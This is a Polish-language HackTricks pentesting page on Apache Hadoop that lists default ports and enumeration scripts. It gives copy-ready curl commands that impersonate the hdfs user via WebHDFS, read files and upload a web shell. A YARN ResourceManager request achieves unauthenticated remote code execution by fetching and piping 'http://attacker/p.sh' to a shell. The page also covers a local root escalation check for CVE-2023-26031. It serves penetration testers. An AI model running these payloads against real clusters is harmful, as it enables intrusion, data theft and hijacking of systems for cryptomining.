50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Apache Hadoop to otwartoźródłowy framework do rozproszonego przechowywania i przetwarzania dużych zbiorów danych w obrębie klastrów komputerowych. Używa HDFS do przechowywania i MapReduce do przetwarzania.
Przydatne domyślne porty:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (często pomijane i w wielu instalacjach nadal bez uwierzytelniania)
Niestety, Hadoop nie ma wsparcia w Metasploit framework na moment dokumentacji. Możesz jednak użyć następujących Nmap scripts do enumeracji usług Hadoop:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Ważne jest, aby pamiętać, że Hadoop działa bez uwierzytelniania w domyślnej konfiguracji. Dla zwiększenia bezpieczeństwa dostępne są jednak konfiguracje integrujące Kerberos z HDFS, YARN i usługami MapReduce.
WebHDFS / HttpFS abuse (50070/9870 or 14000)
Jeśli security=off, możesz podszyć się pod dowolnego użytkownika za pomocą parametru user.name. Kilka szybkich prymitywów:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
Jeśli HttpFS jest włączony (domyślny port 14000), te same ścieżki REST mają zastosowanie. Za Kerberosem nadal można użyć curl --negotiate -u : z ważnym biletem.
YARN unauth RCE (8088)
ResourceManager REST API akceptuje przesyłanie zadań bez uwierzytelniania w domyślnym trybie „simple” (dr.who). Atakujący wykorzystują to do uruchamiania dowolnych poleceń (np. miners) bez konieczności posiadania dostępu do zapisu w HDFS.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
Jeśli port 8031/8032 RPC jest wystawiony, starsze klastry pozwalają na tę samą wysyłkę zadań przez protobuf bez uwierzytelniania (udokumentowane w kilku kampaniach cryptominer) – traktuj te porty także jako RCE.
Lokalny PrivEsc z kontenerów YARN (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor ładuje biblioteki z względnego RUNPATH. Użytkownik, który może uruchamiać kontenery YARN (w tym zdalni zgłaszający na niezabezpieczonych klastrach) może umieścić złośliwy libcrypto.so w zapisywalnej ścieżce i uzyskać root, gdy container-executor działa z SUID.
Szybka kontrola:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
Naprawione w 3.3.5; upewnij się, że plik binarny nie jest SUID, jeśli bezpieczne kontenery nie są wymagane.
Referencje
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


